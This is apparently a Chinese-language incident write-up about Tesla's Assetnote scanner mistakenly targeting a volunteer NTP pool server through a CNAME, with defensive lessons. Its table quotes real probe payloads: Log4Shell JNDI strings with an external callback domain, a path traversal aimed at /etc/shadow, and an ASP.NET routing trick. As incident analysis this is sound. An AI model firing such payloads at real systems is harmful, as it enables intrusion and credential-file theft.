Tesla 的 Assetnote 掃描器錯誤地將志工 NTP 池伺服器列為目標
TL;DR
Tesla 的第三方漏洞掃描器（Assetnote）錯誤地將一個志工 NTP 池伺服器 — pool-ntp.tesla.com — 識別為 Tesla 所有主機，並對該伺服器發送數千次自動化漏洞利用嘗試，包括 Log4Shell、SSRF 和通用 Web 應用程式探測。
實際發生了什麼？
三個 AWS IP*（
54.165.75.96、35.168.63.24、52.44.200.251）對一台同時運行 NTP 池實例的個人伺服器（67.215.249.229）發送大量 HTTP 請求。請求中包含
Host或Referer標頭，設定為pool-ntp.tesla.com。User-Agent 字串為
Assetnote/1.0.0 (ExposureScan)，顯示流量來自 Assetnote 的持續暴露掃描平台（現已行銷為 Searchlight Cyber）。載荷包含 JNDI 風格的 Log4Shell 向量、SSRF 模板、路徑遍歷嘗試、WordPress 探測以及各種 Web shell 上傳嘗試。
自 2026 年 8 月 21 日以來已記錄超過 50,000 次請求，其中兩天內約有 8,000 次。
伺服器回應了非標準的 HTTP 299 狀態碼和純文字通知說明情況，但掃描活動仍持續進行。
為什麼掃描會針對此伺服器？
錯誤解析的 CNAME 鏈
- Tesla 的 DNS 記錄 —
pool-ntp.tesla.com是指向pool.ntp.org的 CNAME。 - NTP 池的行為 —
pool.ntp.org是一個輪詢 DNS 服務，會解析到全球任何志工 NTP 伺服器，包括 OP 的機器。 - Assetnote 的資產發現 — Assetnote 好像會枚舉
tesla.com下的每一個主機名稱，解析它們，並把所有結果 IP 都視為在範圍內的主動掃描目標。 - 結果 — 掃描器將 OP 的 IP 加入目標清單，並開始像對 Tesla 所有資產一樣進行探測。
"你的資產發現似乎無意中將
pool-ntp.tesla.com可解析到的每一個 IP 都納入主動掃描範圍。" — Robin（作者致 Tesla 的電子郵件）
探測流量的技術細節
| 特性 | 範例 | 目的 |
|---|---|---|
| Log4Shell / Text4Shell | GET /?a=%3Cscript src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}> |
透過 *.assetnote-callback.com 的回調，偵測易受攻擊的 Log4j/JNDI 解析器。 |
| SSRF 檢測 | GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a} |
強制目標解析 pool-ntp.tesla.com 下的主機名稱，並透過回調域名報告。 |
| 路徑遍歷 | GET /calendars/admin@lowlevelaccess.jlg.com/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadow |
透過目錄遍歷載荷嘗試讀取 /etc/shadow。 |
| ASP.NET 技巧 | GET / (S(x))/b/(S(x))in/System.Web.Mvc.dll，搭配 Host: login.solarcity.com |
探測 ASP.NET 路由異常，可能用來觸及 /bin/。 |
| 隨機第三方主機名稱 | servicemcdonalds.com、saferas.com、disneyfineart.com 嵌入查詢字串中 |
顯示掃描器重複使用包含許多無關主機名稱的大模板庫。 |
| 內部網路探測 | Referer: http://192.168.178.222/... |
表明掃描器也嘗試連接到 RFC 1918 位址，可能是通用「掃描所有可達端口」程序的一部分。 |
掃描器還對非 HTTP 埠（SSH、Postfix、Dovecot）發送 HTTP 流量，顯示其採用全面的埠掃描方式。
對受害伺服器的影響
- 無成功入侵 — 所有嘗試均被拒絕；伺服器服務保持完整。
- 日誌量大 — > 50,000 次請求，消耗頻寬與 CPU 資源用於日誌處理。
- 操作噪音 — OP 必須新增自訂的 299 回應與警告頁面，讓任何檢視日誌的人能察覺問題。
- 潛在附帶損害 — 若掃描器擊中同一主機上的易受攻擊服務（例如過時的 WordPress 安裝），可能導致真實入侵。
社群反應與更廣泛背景
- 其他 NTP 池操作員也看到類似流量 — 名為 Matt Nordhoff 的操作員報告，同一三個 AWS IP 在他自己的池伺服器上也產生了類似的請求量。
- 漏洞獎勵觀點 — 一位漏洞獎勵研究員指出，
*.tesla.com在 Bugcrowd 上被列為在範圍內，因此自動化代理會探測該域名下解析到的任何 IP。 - 供應商區域建議 — 多位留言者指出，供應商應使用專用 DNS 區域（例如
ntp.tesla.com）而非 CNAME 指向公開池，符合 NTP 池的供應商指南。 - 法律與修復建議 — 有人建議直接聯繫 Assetnote、向 AWS 報告，或向 Tesla 的漏洞回報地址提出申訴。也有人認為此類流量「只是網際網路暴露服務的新常態」。
對志工服務操作員的教訓
- 避免為品牌擁有子域名使用指向公開池的 CNAME — 使用專用供應商區域，以防止意外納入第三方資產清單。
- 監控未預期的
Host/Referer值 — 掃描器經常重複使用嵌入目標主機名稱的模板；異常值可能表示錯誤歸屬。 - 實作速率限制與自訂狀態碼 — OP 的 299 回應是標示可疑流量的聰明方式，且不會破壞合法客戶端。
- 與掃描供應商維持聯絡管道 — Assetnote（Searchlight Cyber）通常對錯誤報告有回應；提供包含日誌片段的簡明電子郵件可觸發白名單。
- 考慮 IP 層級封鎖作為最後手段 — 封鎖三個 AWS IP 可停止噪音，但也可能阻擋其他客戶的合法掃描。
Tesla（與 Assetnote）應採取什麼行動？
- 修正 DNS 設定 — 將指向
pool.ntp.org的 CNAME 改為 Tesla 控制的專用 NTP 端點，或完全移除該子域名。 - 修復資產發現邏輯 — 確保任何解析到公開池的主機名稱都應排除在客戶的範圍內，除非明確授權。
- 提供修復管道 — 承認 OP 的報告，更新掃描政策，並向 NTP 池社群發布簡短聲明。
- 審查其他子域名 — 確認沒有其他 Tesla 擁有的名稱意外指向共享基礎設施，以免造成類似附帶掃描。
總結
Tesla 的第三方掃描器錯誤地將一個志工 NTP 池伺服器視為 Tesla 資產，導致對一個無關愛好者基礎設施發送數千次自動化漏洞利用嘗試。此事件突顯使用公開 CNAME 為企業子域名的風險，並強調在自動化漏洞暴露平台中精確定義資產範圍的重要性。
Sources
相關
- Dispatch
- Dispatch
- Dispatch
- Dispatch